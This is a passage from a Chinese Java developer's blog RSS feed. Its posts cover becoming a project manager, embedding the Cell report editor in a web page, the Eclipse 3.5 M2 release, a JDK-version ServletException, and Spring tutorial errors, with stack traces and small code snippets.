<img src ="http://www.blogjava.net/soddabao/aggbug/255036.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2009-02-17 10:49 <a href="http://www.blogjava.net/soddabao/archive/2009/02/17/255036.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>纪念一下：当项目经理一个月</title><link>http://www.blogjava.net/soddabao/archive/2008/11/01/238130.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Sat, 01 Nov 2008 14:25:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2008/11/01/238130.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/238130.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2008/11/01/238130.html#Feedback</comments><slash:comments>3</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/238130.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/238130.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;国庆回来后，部门进行人员调整，把项目的项目经理弄到上海了，这边所有的事情给仍给我了，来这边2年半的时候终于混到项目经理了，小有成就感一下^_^<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 这次我是一点心里准备都没有，虽然之前作为PSM,只管项目组内的技术事情，这下项目的所有给规我了，技术、联系客户..........<br />
&nbsp;&nbsp;&nbsp;&nbsp; 看看项目组内的成员除我外，是一个老员工(来了也不过1年)＋4个新员工，83年、85年、87年、89年，晕了我这成幼儿园了，这4个新员工开发能力基本等于0，安排他们修改的，我给他们讲一遍一遍，他们就是不明白，好不容易明白了，还不会写代码，告诉用什么方法，直接就把那个方法考过去，方法需要的东西一点都不考虑，完全是指那打那，他们唯一的好处，就是听话。<br />
&nbsp;&nbsp;&nbsp;&nbsp; ..........<br />
&nbsp;&nbsp;&nbsp;&nbsp; 他们工作痛苦，我这也痛苦；前两天有个项目还要上报表，要我过去开发，过去这个项目咱们搞呢，这倒好白天忙自己的项目，12点后(人家是8小时外)写报表的设计文档什么的。<br />
&nbsp;&nbsp;&nbsp; 努力了一个月，把前面有4个月大家荒废的时间补上来了，自己觉得蛮有成就感，美中不足的是项目还没上线，再努力半个月吧，争取上线，不过上线后又是tmmd一堆一堆事<br />
&nbsp;&nbsp;&nbsp;&nbsp; 项目经理听起来很风光，但风光的背后呢？却是一个人干几个人的事，还是项目的保姆。
<img src ="http://www.blogjava.net/soddabao/aggbug/238130.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2008-11-01 22:25 <a href="http://www.blogjava.net/soddabao/archive/2008/11/01/238130.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>cell的编辑器嵌套在web页面</title><link>http://www.blogjava.net/soddabao/archive/2008/10/13/234015.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Mon, 13 Oct 2008 07:05:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2008/10/13/234015.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/234015.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2008/10/13/234015.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/234015.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/234015.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 看到blog有网友给我留言，问怎么cell的编辑器可以嵌套在web页面中吗？ <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 操作步骤如下：<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 去cell的官网上下载cell插件安装程序，安装以后，有这样一个文件夹：C:\Program Files\Cellsoft\CellWeb。在Samples下的eSReport文件夹下就是web程序使用的文件，点eReport.htm文件就可以使用cell的web版，当然也可以把文件改为jsp。<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 如果点eReport.htm有错误，修改eReport.htm文件的75行<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">end&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;href.lastIndexOf(</span><span style="color: #000000">"</span><span style="color: #000000">\\</span><span style="color: #000000">"</span><span style="color: #000000">);</span></div>
&nbsp;&nbsp;&nbsp;&nbsp; 修改为：<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">end&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;href.lastIndexOf(</span><span style="color: #000000">"</span><span style="color: #000000">/</span><span style="color: #000000">"</span><span style="color: #000000">);</span></div>
<br />
<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; good luck~~~~~~
<img src ="http://www.blogjava.net/soddabao/aggbug/234015.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2008-10-13 15:05 <a href="http://www.blogjava.net/soddabao/archive/2008/10/13/234015.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>苍天啊，大地啊： eclipse出3。5拉</title><link>http://www.blogjava.net/soddabao/archive/2008/10/07/232974.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Tue, 07 Oct 2008 11:07:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2008/10/07/232974.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/232974.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2008/10/07/232974.html#Feedback</comments><slash:comments>14</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/232974.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/232974.html</trackback:ping><description><![CDATA[<div class="detail">
<p>这是Eclipse3.5的第二个里程碑版本，主要包括了以下方面的更新内容：</p>
<p>1. 允许在资源对话框中选择不同的编辑器：</p>
<p><img alt="" src="http://download.eclipse.org/eclipse/downloads/drops/S-3.5M2-200809180100/images/open-resource-dialog.png" /></p>
<p>2. CVS插件的定时任务有更多的选项设置</p>
<p><img alt="" src="http://download.eclipse.org/eclipse/downloads/drops/S-3.5M2-200809180100/images/sync-schedule.png" /></p>
<p>3. 资源对话框中加入新的比较功能</p>
<p><img alt="" src="http://download.eclipse.org/eclipse/downloads/drops/S-3.5M2-200809180100/images/compare-with-dialog.png" /></p>
<p>其他方面还在SWT、Equinox、JDT、PDE等方法有改进，详细的更新信息请看<a href="http://download.eclipse.org/eclipse/downloads/drops/S-3.5M2-200809180100/eclipse-news-M2.html" target="_blank">这里<br />
</a></p>
<p>新版本下载地址：<a href="http://download.eclipse.org/eclipse/downloads/drops/S-3.5M2-200809180100/index.php">http://download.eclipse.org/eclipse/downloads/drops/S-3.5M2-200809180100/index.php</a></p>
</div>
<img src ="http://www.blogjava.net/soddabao/aggbug/232974.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2008-10-07 19:07 <a href="http://www.blogjava.net/soddabao/archive/2008/10/07/232974.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>javax.servlet.ServletException错误分析</title><link>http://www.blogjava.net/soddabao/archive/2008/10/07/232971.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Tue, 07 Oct 2008 10:27:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2008/10/07/232971.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/232971.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2008/10/07/232971.html#Feedback</comments><slash:comments>1</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/232971.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/232971.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 环境：eclipse3.4 tomcat4.1 jdk1.4<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 访问某些jsp文件出现如下错误：<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">javax.servlet.ServletException:&nbsp;org</span><span style="color: #000000">/</span><span style="color: #000000">apache</span><span style="color: #000000">/</span><span style="color: #000000">jsp</span><span style="color: #000000">/</span><span style="color: #000000">view_jsp&nbsp;(Unsupported&nbsp;major.minor&nbsp;version&nbsp;</span><span style="color: #000000">50.0</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;ep.si.ComponentAction.execute(ComponentAction.java:</span><span style="color: #000000">134</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.struts.action.RequestProcessor.processActionPerform(RequestProcessor.java:</span><span style="color: #000000">484</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.struts.action.RequestProcessor.process(RequestProcessor.java:</span><span style="color: #000000">274</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.struts.action.ActionServlet.process(ActionServlet.java:</span><span style="color: #000000">1482</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;ep.struts.ActionServlet.process(ActionServlet.java:</span><span style="color: #000000">38</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.struts.action.ActionServlet.doPost(ActionServlet.java:</span><span style="color: #000000">525</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;javax.servlet.http.HttpServlet.service(HttpServlet.java:</span><span style="color: #000000">760</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;javax.servlet.http.HttpServlet.service(HttpServlet.java:</span><span style="color: #000000">853</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:</span><span style="color: #000000">247</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:</span><span style="color: #000000">193</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:</span><span style="color: #000000">256</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invokeNext(StandardPipeline.java:</span><span style="color: #000000">643</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:</span><span style="color: #000000">480</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.ContainerBase.invoke(ContainerBase.java:</span><span style="color: #000000">995</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:</span><span style="color: #000000">191</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invokeNext(StandardPipeline.java:</span><span style="color: #000000">643</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:</span><span style="color: #000000">480</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.ContainerBase.invoke(ContainerBase.java:</span><span style="color: #000000">995</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardContext.invoke(StandardContext.java:</span><span style="color: #000000">2415</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:</span><span style="color: #000000">180</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invokeNext(StandardPipeline.java:</span><span style="color: #000000">643</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.valves.ErrorDispatcherValve.invoke(ErrorDispatcherValve.java:</span><span style="color: #000000">171</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invokeNext(StandardPipeline.java:</span><span style="color: #000000">641</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:</span><span style="color: #000000">172</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invokeNext(StandardPipeline.java:</span><span style="color: #000000">641</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:</span><span style="color: #000000">480</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.ContainerBase.invoke(ContainerBase.java:</span><span style="color: #000000">995</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:</span><span style="color: #000000">174</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardPipeline$StandardPipelineValveContext.invokeNext(StandardPipeline.java:</span><span style="color: #000000">643</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.StandardPipeline.invoke(StandardPipeline.java:</span><span style="color: #000000">480</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.catalina.core.ContainerBase.invoke(ContainerBase.java:</span><span style="color: #000000">995</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.coyote.tomcat4.CoyoteAdapter.service(CoyoteAdapter.java:</span><span style="color: #000000">223</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.coyote.http11.Http11Processor.process(Http11Processor.java:</span><span style="color: #000000">594</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.coyote.http11.Http11Protocol$Http11ConnectionHandler.processConnection(Http11Protocol.java:</span><span style="color: #000000">392</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.tomcat.util.net.TcpWorkerThread.runIt(PoolTcpEndpoint.java:</span><span style="color: #000000">565</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.apache.tomcat.util.threads.ThreadPool$ControlRunnable.run(ThreadPool.java:</span><span style="color: #000000">619</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;java.lang.Thread.run(Thread.java:</span><span style="color: #000000">536</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span></div>
&nbsp;&nbsp;&nbsp; 之前blog贴出来这样一篇文章<a title="javax.servlet.ServletException: [HTTP:101249] " href="http://www.blogjava.net/soddabao/archive/2007/09/12/144574.html">javax.servlet.ServletException: [HTTP:101249] </a>，之前错误的原因是jdk版本的问题，换句话说是编译的class文件的版本问题。<br />
&nbsp;&nbsp;&nbsp;&nbsp; 这次错误的原因，与之前差不多，也可以说是jdk的版本问题。<br />
&nbsp;&nbsp;&nbsp;&nbsp; 我比较喜欢高版本的东西，开发环境基本都是最新版本，这次正是因为高版本制造这个错误，把eclipse的版本下降版本，或是升高tomcat的版本可以消除这个异常。<br />
<br />
&nbsp;&nbsp;&nbsp; 看来也不要一味追求高版本的东西，高版本的东西固然给我们开发者提供不少简便的地方，但是也容易造成一些BUG。<br />
&nbsp;&nbsp;&nbsp;&nbsp; 出现javax.servlet.ServletException错误的时候，要考虑是否是jdk的版本给我们带来的&#8220;便利&#8221;^_^
 <img src ="http://www.blogjava.net/soddabao/aggbug/232971.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2008-10-07 18:27 <a href="http://www.blogjava.net/soddabao/archive/2008/10/07/232971.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>spring学习(四)</title><link>http://www.blogjava.net/soddabao/archive/2008/10/07/232895.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Tue, 07 Oct 2008 04:57:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2008/10/07/232895.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/232895.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2008/10/07/232895.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/232895.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/232895.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;昨天继续学习夏老大的《Spring 开发指南》，发现一个比较大的bug。27页中<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">ApplicationContext&nbsp;ctx</span><span style="color: #000000">=</span><span style="color: #0000ff">new</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />FileSystemXmlApplicationContext(</span><span style="color: #000000">"</span><span style="color: #000000">bean.xml</span><span style="color: #000000">"</span><span style="color: #000000">);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />LoginAction&nbsp;action&nbsp;</span><span style="color: #000000">=</span><span style="color: #000000">&nbsp;(LoginAction)ctx.getBean(</span><span style="color: #000000">"</span><span style="color: #000000">action</span><span style="color: #000000">"</span><span style="color: #000000">);<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />action.login(</span><span style="color: #000000">"</span><span style="color: #000000">Erica</span><span style="color: #000000">"</span><span style="color: #000000">,</span><span style="color: #000000">"</span><span style="color: #000000">mypass</span><span style="color: #000000">"</span><span style="color: #000000">);</span></div>
&nbsp;&nbsp;&nbsp; 之前bean.xml中定义的bean为<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">&lt;</span><span style="color: #000000">bean&nbsp;id</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">loginaction</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">class</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">net.xiaxin.beans.LoginAction</span><span style="color: #000000">"</span><span style="color: #000000">/&gt;</span><span style="color: #000000"><br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /></span><span style="color: #000000">&lt;</span><span style="color: #000000">bean&nbsp;id</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">listener</span><span style="color: #000000">"</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">class</span><span style="color: #000000">=</span><span style="color: #000000">"</span><span style="color: #000000">net.xiaxin.beans.ActionListener</span><span style="color: #000000">"</span><span style="color: #000000">/&gt;</span></div>
&nbsp;&nbsp;&nbsp; 一个非常明显的bean名称调用错误，应该使用loginaction，而不是action。<br />
<br />
&nbsp; <br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 不知道这个错误是夏老大犯的还是出版社弄的，还是我在网上下的资料不准确呢？<br />
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 不过这对我这样的spring初学者是有好处的。
<img src ="http://www.blogjava.net/soddabao/aggbug/232895.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/soddabao/" target="_blank">冷面阎罗</a> 2008-10-07 12:57 <a href="http://www.blogjava.net/soddabao/archive/2008/10/07/232895.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>spring学习(三)</title><link>http://www.blogjava.net/soddabao/archive/2008/10/06/232735.html</link><dc:creator>冷面阎罗</dc:creator><author>冷面阎罗</author><pubDate>Mon, 06 Oct 2008 11:23:00 GMT</pubDate><guid>http://www.blogjava.net/soddabao/archive/2008/10/06/232735.html</guid><wfw:comment>http://www.blogjava.net/soddabao/comments/232735.html</wfw:comment><comments>http://www.blogjava.net/soddabao/archive/2008/10/06/232735.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/soddabao/comments/commentRss/232735.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/soddabao/services/trackbacks/232735.html</trackback:ping><description><![CDATA[&nbsp;&nbsp;&nbsp;&nbsp;spring做国际化的代码的时候，会遇到这样的异常：<br />
<div style="border-right: #cccccc 1px solid; padding-right: 5px; border-top: #cccccc 1px solid; padding-left: 4px; font-size: 13px; padding-bottom: 4px; border-left: #cccccc 1px solid; width: 98%; word-break: break-all; padding-top: 4px; border-bottom: #cccccc 1px solid; background-color: #eeeeee"><img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" /><span style="color: #000000">org.springframework.context.NoSuchMessageException:&nbsp;No&nbsp;message&nbsp;found&nbsp;under&nbsp;code&nbsp;</span><span style="color: #000000">'</span><span style="color: #000000">userinfo</span><span style="color: #000000">'</span><span style="color: #000000">&nbsp;</span><span style="color: #0000ff">for</span><span style="color: #000000">&nbsp;locale&nbsp;</span><span style="color: #000000">'</span><span style="color: #000000">en_US</span><span style="color: #000000">'</span><span style="color: #000000">.<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.context.support.AbstractMessageSource.getMessage(AbstractMessageSource.java:</span><span style="color: #000000">179</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;org.springframework.context.support.AbstractApplicationContext.getMessage(AbstractApplicationContext.java:</span><span style="color: #000000">986</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;test.test_inter.test_in(test_inter.java:</span><span style="color: #000000">19</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;sun.reflect.NativeMethodAccessorImpl.invoke0(Native&nbsp;Method)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:</span><span style="color: #000000">39</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:</span><span style="color: #000000">25</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;java.lang.reflect.Method.invoke(Method.java:</span><span style="color: #000000">597</span><span style="color: #000000">)<br />
<img src="http://www.blogjava.net/images/OutliningIndicators/None.gif" align="top"  alt="" />&nbsp;&nbsp;&nbsp;&nbsp;at&nbsp;junit.framework.TestCase.runTest(TestCase.java:</span><span style="color: #000000">168</span><span style="color: #000000">)<br />
